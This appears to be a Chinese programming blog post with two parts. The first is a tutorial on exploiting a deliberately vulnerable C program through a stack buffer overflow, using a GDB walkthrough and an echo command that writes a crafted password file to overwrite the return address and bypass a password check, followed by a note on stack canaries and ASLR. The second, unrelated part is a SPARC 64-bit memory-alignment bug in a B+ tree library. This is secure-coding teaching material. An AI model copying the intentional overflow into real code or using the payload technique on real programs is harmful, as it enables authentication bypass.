我们在平时编码过程中很少考虑代码的安全性(security)，与正确性、高性能和可移植性相比，安全性似乎总被忽略。昨天从安全性角度泛泛地Review了一下现有的代码，发现了不少具有安全隐患的地方。我们的程序员的确缺乏系统地有关安全编码方面的训练和实践，包括我在内，在安全编码方面也都是初级选手，脑子中对安全性编码缺乏系统的理解。

市面上讲解编码安全性方面的书籍也不是很多，在C编码安全性方面，CERT(Carnegie Mellon University's Computer Emergency Response Team)专家Robert Seacord的《C和C++安全编码》一书对安全性编码方面做了比较系统的讲解。Robert还编写了一本名为《C安全编码标准》的书，这本书可以作为指导安全编码实践的参考手册。

浏览了一下《C和C++安全编码》，你会发现多数漏洞(vulnerability)都与缓冲区溢出(buffer overflow)有关。要想学会更好的防守，就要弄清楚漏洞是如何被利用的，在这里我们就来尝试一下如何利用缓冲区漏洞Hack应用。

有这样一段应用代码：
/* bufferoverflow.c */
int ispasswdok() {
    char passwd[12];
    memset(passwd, 0, sizeof(passwd));

    FILE *p = fopen("passwd", "rb");
    fread(passwd, 1, 200, p);
    fclose(p);

    if (strcmp(passwd, "123456") == 0) {
        return 0;
    } else {
        return -1;
    }
}

int main() {
    int passwdstat = -1;

    passwdstat = ispasswdok();
    if (passwdstat != 0) {
        printf ("invalid!\n");
        return -1;
    }

    printf("granted!\n");
    return 0;
}

这显然是故意“制造”的一段程序。原本密码(passwd)的输入是通过gets函数从标准输入获得的，但考虑到Hack时非可显示的ASCII码不易展示和输入，这里换成了fread，并且故意在fread使用中留下了隐患。我们Hack的目标很明确，就是在不知道密码的前提下，让这个程序输出"granted!"，即绕过密码校验逻辑。

Hack的原理这里简述一下。我们知道C程序的运行其实就是一系列的过程调用，而过程调用本身是依赖系统为程序建立的运行时堆栈(stack)的，每个过程(Procedure)都有自己的栈帧(stack frame)，各个过程的栈帧在运行时stack上按照调用的先后顺序从栈底向栈顶延伸排列。系统使用扩展基址寄存器(extended base pointer，%ebp)和扩展栈寄存器(extended stack pointer，%esp)来指示当前过程的栈帧。系统通过调整%ebp和%esp的方式按照特定的机制在各个过程的栈帧上切换，实现过程调用(call)和从过程调用返回(ret)。

执行子过程调用指令(call)时，系统先将该call指令的下一条顺序指令的地址(%eip)，即子过程调用的返回地址存储在stack上，作为过程调用者栈帧的结尾，然后将%ebp也压入stack，作为子过程栈帧的开始，最后系统跳转到子过程的起始地址开始执行。总的来说，子过程调用call的执行相当于：

push %eip
push %ebp

子过程在其开始处将调用者的%ebp保存在栈上，并建立自己的%ebp；子过程调用结束前，leave指令首先恢复调用者的%ebp和%esp，之后ret指令将存储在stack的调用者的返回地址恢复到指令寄存器%eip中，并跳转到该地址上执行后续指令，这样系统就从子过程返回继续原过程的执行了。

这里的Hack就是利用重写返回地址来达到绕过密码校验过程的目的。返回地址与局部变量存储在同一栈上且系统没有对栈越界修改进行校验(一般情况是这样的)让Hack成为可能。我们通过GDB反汇编来看看main栈帧与ispasswdok栈帧在内存中的布局情况。

我们首先将breakpoint设置在ispasswdok过程被调用前，设置断点后run：

$ gdb bufferoverflow
… …
(gdb) break 20
Breakpoint 1 at 0×8048591: file bufferoverflow.c, line 20.
(gdb) run
Starting program: /home/tonybai/test/c/bufferoverflow

Breakpoint 1, main () at bufferoverflow.c:20
20        int passwdstat = -1;

我们查看一下当前main的栈帧情况：
(gdb) info registers
esp            0xbffff100    0xbffff100
ebp            0xbffff128    0xbffff128
eip            0×8048591    0×8048591 [main+9]

可以看到main栈帧起始于0xbffff128。我们继续在ispasswdok处设置断点，继续执行。
(gdb) break ispasswdok
Breakpoint 2 at 0x804850a: file bufferoverflow.c, line 6.
(gdb) continue
Continuing.

Breakpoint 2, ispasswdok () at bufferoverflow.c:6
6        memset(passwd, 0, sizeof(passwd));

现在程序已经执行到ispasswdok过程中，我们也可以看到ispasswdok栈帧情况了：
(gdb) info registers
esp            0xbffff0d0    0xbffff0d0
ebp            0xbffff0f8    0xbffff0f8
eip            0x804850a    0x804850a [ispasswdok+6]

可以看到ispasswdok过程的栈帧起始于0xbffff0f8。前面说过子过程的%ebp指向的栈单元存储的是其调用者栈帧的起始地址，即其调用者的%ebp。我们来查看一下是否是这样：

(gdb) x/4wx 0xbffff0f8
0xbffff0f8:    0xbffff128    0x0804859e    0×00284324    0x00283ff4

我们通过x/命令查看起始地址为0xbffff0f8的栈上连续4个4字节存储单元的值，可以看到0xbffff0f8处栈单元内的确存储是的main栈帧的%ebp，其值与前面main栈帧输出的结果相同。那么按照之前所说的，紧挨着这个地址的值就应该是ispasswdok过程调用的返回地址了，也就是我们要改写的那个地址，我们看到这个地址的值为0x0804859e。我们通过反汇编看看main过程的指令：

(gdb) disas main
Dump of assembler code for function main:
   0×08048588 [+0]:    push   %ebp
   0×08048589 [+1]:    mov    %esp,%ebp
   0x0804858b [+3]:    and    $0xfffffff0,%esp
   0x0804858e [+6]:    sub    $0×20,%esp
   0×08048591 [+9]:    movl   $0xffffffff,0x1c(%esp)
   0×08048599 [+17]:    call   0×8048504 [ispasswdok]
   0x0804859e [+22]:    mov    %eax,0x1c(%esp)
   … …

可以看到0x0804859e就是ispasswdok调用后的下一条指令，看来它的确是我们想要找到地址。找到了要改写的地址，我们还要找到外部数据的入口，这个入口即是ispasswdok过程中的局部变量passwd。

passwd的起始地址是什么？我们通过ispasswdok的反汇编代码来分析：

(gdb) disas ispasswdok
Dump of assembler code for function ispasswdok:
   0×08048504 [+0]:    push   %ebp
   0×08048505 [+1]:    mov    %esp,%ebp
   … …
   0×08048555 [+81]:    lea    -0×18(%ebp),%eax
   0×08048558 [+84]:    mov    %eax,(%esp)
   0x0804855b [+87]:    call   0x804842c [fread@plt]
   … …

可以看到在为fread准备实际参数时，系统用了-0×18(%ebp)，显然这个地址就是passwd数组的始地址，即0xbffff0f8 – 0×18处。综上，我们用一幅简图来形象的说明一下各个重要元素：

– 高地址，栈底
… …
0xbffff0fc:  0x0804859e   <- 存储的值是main设置的ispasswdok过程的返回地址
——————————————————
0xbffff0f8:  0xbffff128   <- ispasswdok的%ebp，存储的值为main的%ebp
0xbffff0f4:  0x08049ff4
0xbffff0f0:  0x0011e0c0
0xbffff0ec:  0x0804b008
0xbffff0e8:  0×00000000
0xbffff0e4:  0×00000000
0xbffff0e0:  0×00000000   <- passwd数组的起始地址
… …
– 低地址，栈顶

我们现在需要做的就是从0xbffff0e0这个地址开始写入数据，一直写到ispasswdok过程的返回地址，用新的地址值覆盖掉原有的返回地址0x0804859e。我们需要精心构造一个密码文件(passwd)：

echo -ne "aaaaaaaaaaaa\x08\xb0\x04\x08\xc0\xe0\x11\x00\xf4\x9f\x04\x08\x28\xf1\xff\xbf\xc4\x85\x04\x08" > passwd

这里我们将passwd数组用字符'a'填充，将0x0804859e这个返回地址改写为0x080485c4，我们通过disas main可以看到这个跳转地址对应的指令：

(gdb) disas main
Dump of assembler code for function main:
   0×08048590 [+0]:    push   %ebp
   0×08048591 [+1]:    mov    %esp,%ebp
   … …
   0x080485c4 [+52]:    movl   $0x80486ba,(%esp)  ;程序执行跳转到这里
   0x080485cb [+59]:    call   0x804841c [puts@plt] ; 输出granted!
   0x080485d0 [+64]:    mov    $0×0,%eax
   0x080485d5 [+69]:    leave 
   0x080485d6 [+70]:    ret   

我们在GDB中完整的执行一遍bufferoverflow：
$ gdb bufferoverflow
(gdb) run
Starting program: /home/tonybai/test/c/bufferoverflow
granted!

Program exited normally.

Hack成功！(环境：gcc version 4.4.3 (Ubuntu 4.4.3-4ubuntu5), GNU gdb (GDB) 7.1-ubuntu)

GCC默认在目标代码中加入stack smashing protector(-fstack-protector)，在函数返回前，程序会检测特定的protector(又被称为canary，金丝雀)的值是否被修改，如果被修改了，则报错退出。上面的代码在编译时加入了-fno-stack-protector，否则一旦越界修改缓冲区外的地址，波及canary，程序就会报错退出。

另外bufferoverflow这个程序在GDB下执行可以成功Hack，但在shell下独立执行依旧会报错，dump core（发生在fclose里），对于此问题暂没有什么头绪。

后记：
经过分析，bufferoverflow程序在非GDB调试环境下独立执行时dump core的问题应该是由于Linux采用的ASLR技术所致。所谓ASLR就是Address-Space Layout Randomization，中文意思是地址空间布局随机化。正因为每次bufferoverflow的栈地址空间布局随机不同，因此事先精心挑选的那组hack数据才无法起到作用，并导致栈被破坏而dump core。

我们可以通过一个简单的测试程序看到ASLR的作用。
/* test_aslr.c */
int main() {
    int a;
    printf("a is at %p\n", &a);
    return 0;
}

下面多次执行该例程：
tonybai@PC-ubuntu:~/test/c$ test_aslr
a is at 0xbfbcb44c
tonybai@PC-ubuntu:~/test/c$ test_aslr
a is at 0xbfe3c8cc
tonybai@PC-ubuntu:~/test/c$ test_aslr
a is at 0xbfcc6d9c
tonybai@PC-ubuntu:~/test/c$ test_aslr
a is at 0xbfaea32c

可以看到每次栈上变量a的地址都不相同。

GDB默认关闭了ASLR，这才使得上面的Hack得以成型，通过GDB的信息也可以证实这一点：
(gdb) show disable-randomization
Disabling randomization of debuggee's virtual address space is on.

记得刚来公司时曾参与过一个项目，项目中用到了部门基础库中的一个B+树接口。不过在程序调试过程中我们发现可执行程序总是dump core（在sparc solaris上），经初步分析，断定问题就出在B+树接口处，但一时又找不到问题原因。还好这个B+树的实现者就坐在我的旁边。他分析后告诉我：这个B+树接口要求用户自定义的索引结构体的size应该为4的整数倍。按照他的说法，我为结构体打了padding，以满足结构体size为4的整数倍的要求。修改后果然不再dump core了。当时项目进度紧，我也没有求甚解，这件事也就过去了。

一晃N年过去了。今天在做程序的64位移植过程中我再次遇到了这个问题。问题的表象就是程序运行时dump core，通过gdb或pstack查看core的内容，发现程序是在B+ Tree初始化时出的core。显然这又是一个内存违规访问的问题，且在Sparc上出现（x86 Linux上运行正常）十有八九与内存对齐有关。

B+ Tree出问题首先让我想到了N年前的那个解决方法。我先查看了自定义的索引结构体(usr_idx)：

struct usr_idx {
    unsigned int usr;
};

不过sizeof(usr_idx)无论是32bit编译还是64bit编译，其值都是4。那按照B+树原作者的说法，这显然不足以让B+树出现问题。事实也的确如此，32bit编译的程序在Sparc Solaris下运行良好，只是目前改为了64bit编译，才dump core，那问题到底出现在哪呢？

到这里，我也只能从代码着手了，把N年前没弄清楚的原因找出来，顺便也把这个存在了N年的Bug彻底解决掉，把这笔技术债还了。pstack的输出告诉我问题出在一个名为bptree_create_node的函数中，嫌疑最大的一处代码大致是这样的：

for (i = 0; i rank; i++) {
    (elem_base(tree, tmp_bn, i))->key = key_base(tree, tmp_bn, i);
    (elem_base(tree, tmp_bn, i))->pointer = NULL;
}

直觉告诉我问题出在elem_base这个宏里，elem_base的定义如下：

#define elem_base(tree, eb, index) ((xx_bptree_elem*)((char *)&(eb)->e_base.mw_cp + ((SIZEOF_bptree_elem + (tree)->keysize))*(index)))

很显然这个定义最终是想得到一个xx_bptree_elem*类型的指针。从内存地址角度来说，我们会得到了一个内存地址，且这个地址被认为是一个xx_bptree_element元素的起始地址。那么是否所有地址作为xx_bptree_element元素的起始地址都合法呢？答案是不一定，至少在Sparc平台上不是所有地址都可以作为xx_bptree_elem的起始地址的。

那么什么样地址可以作为xx_bptree_element的起始地址呢？在Sparc上这取决于结构体的对齐系数。xx_bptree_elem结构的定义如下：

union mem_word {
    void  *mw_vp;
    void (*mw_fp)(void);
    char  *mw_cp;
    long   mw_l;
    double mw_d;
};
typedef union mem_word mem_word;
#define SIZEOF_mem_word (sizeof(mem_word))

struct xx_bptree_elem {
    void       *key;
    void       *pointer;
    mem_word   base;
};
typedef struct xx_bptree_item xx_bptree_item;
#define SIZEOF_bptree_elem        (sizeof(xx_bptree_elem)-sizeof(mem_word))

在32bit编译的情况下，系统默认对齐系数为4(参见/usr/include/sys/isa_defs.h中的宏_MAX_ALIGNMENT)，则该结构体的对齐系数 = min(max(sizeof(key), sizeof(pointer), sizeof(base)), 4) = 4。这样xx_bptree_elem在32bit下的有效起始地址为可被4整除的内存地址。

而在用64bit编译时，系统默认的对齐系数为16（同参见isa_defs.h），但由于xx_bptree_elem中size最大的字段(base)的size为8，则结构体的对齐系数就等于8。即xx_bptree_elem元素的有效起始地址为可被8整除的地址。

好了，我们再回过头来看看elem_base宏在不同编译情况下能否总是返回合法的地址。

#define elem_base(tree, eb, index) ((xx_bptree_elem*)((char *)&(eb)->e_base.mw_cp + ((SIZEOF_bptree_elem + (tree)->keysize))*(index)))

这个宏中有三个元素决定返回地址，分别是"基址"：&(eb)->e_base.mw_cp、偏移量SIZEOF_bptree_elem和(tree)->keysize。其中基址是另外一个结构体xx_bptree_node中一个mem_word类型字段的地址，你知道的，mem_word这种手法可以保证其起始地址严格按照其内部最大字段的对齐系数对齐的，也就是说mem_word的对齐系数与double的对齐系数一致，即无论是32bit编译还是64bit编译，其对齐系数都是8，也就是说我们可以确保这个”基址“是可以被8整除的；至于偏移量SIZEOF_bptree_elem，我们可以直接可以得出其大小：

32bit下，SIZEOF_bptree_elem = 8
64bit下，SIZEOF_bptree_elem = 16

可以看出无论是32bit还是64bit编译，SIZEOF_bptree_elem的值都是8的倍数；显然这两个值都不会影响elem_base最终返回地址的合法性。

现在剩下的就是(tree)->keysize了。keysize是由xx_bptree_init接口传进来的，它在上层实际上就是用户自定义的索引结构体的大小，显然这个大小不一定就是8的倍数。在我们的系统中，keysize = sizeof(usr_idx) =
4。这个keysize在32bit编译下是没有问题的，因为32bit编译只需要elem_base返回的地址可以被4整除即可，这也是为什么我们的程序在32bit编译下运行正常的原因。回想一下N年前的那个问题，其真正原因也就在这里：当时我定义的索引结构体的大小无法被4整除。在64bit编译下，keysize显然不能满足被8整除的要求，导致elem_base返回的地址只能被4整除。而xx_bptree_elem这个结构体的地址是严格要求必须可被8整除的。将一个只能被4整除而不能被8整除的地址强制转换为xx_bptree_elem元素地址并通过该强制类型转换后的地址访问xx_bptree_elem内部的元素显然就会导致core的出现了。

现在看来当初我的同事并未真正理解该B+ tree为何要求用户自定义结构体的大小必须为4的整数倍了，他只是通过现象得到了那条经验罢了，这笔技术债务也就从那时留了下来。

解决该问题并不难，作为基础库，我们无论如何都不应该依赖用户的自觉，我们在接口实现中增加一个转换就可以解决这一隐藏了若干年的Bug，将外面传入的keysize经align_word转换后再赋给tree->keysize，这样就可以保证elem_base始终返回合法的地址了。

突然想起了那句话：”出来混，总是要还的“，我们欠的技术债务也不例外。